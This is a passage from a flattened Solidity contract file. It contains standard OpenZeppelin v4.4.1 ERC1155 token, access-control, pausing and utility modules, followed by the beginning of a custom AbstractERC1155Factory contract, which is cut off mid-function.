approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol) /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC1155/ERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol) /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File: @openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Burnable.sol) /** * @dev Extension of {ERC1155} that allows token holders to destroy both their * own tokens and those that they have been approved to use. * * _Available since v3.1._ */ abstract contract ERC1155Burnable is ERC1155 { function burn( address account, uint256 id, uint256 value ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burn(account, id, value); } function burnBatch( address account, uint256[] memory ids, uint256[] memory values ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burnBatch(account, ids, values); } } // File: @openzeppelin/contracts/security/Pausable.sol // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Supply.sol) /** * @dev Extension of ERC1155 that adds tracking of total supply per id. * * Useful for scenarios where Fungible and Non-fungible tokens have to be * clearly identified. Note: While a totalSupply of 1 might mean the * corresponding is an NFT, there is no guarantees that no other token with the * same id are not going to be minted. */ abstract contract ERC1155Supply is ERC1155 { mapping(uint256 => uint256) private _totalSupply; /** * @dev Total amount of tokens in with a given id. */ function totalSupply(uint256 id) public view virtual returns (uint256) { return _totalSupply[id]; } /** * @dev Indicates whether any token exist with a given id, or not. */ function exists(uint256 id) public view virtual returns (bool) { return ERC1155Supply.totalSupply(id) > 0; } /** * @dev See {ERC1155-_beforeTokenTransfer}. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); if (from == address(0)) { for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] += amounts[i]; } } if (to == address(0)) { for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] -= amounts[i]; } } } } // File: contracts/AbstractERC1155Factory.sol abstract contract AbstractERC1155Factory is Pausable, ERC1155Supply, ERC1155Burnable, Ownable { string name_; string symbol_; bool locked_ = false; function pause() external onlyOwner { _pause(); } function unpause() external onlyOwner { _unpause(); } function setURI(string memory baseURI) external onlyOwner { require(!locked_, "Collection is Locked"); _setURI(baseURI); } function name() public view returns (string memory) { return name_; } function isLocked() public view returns (bool) { return locked_; } function symbol() public view returns (string 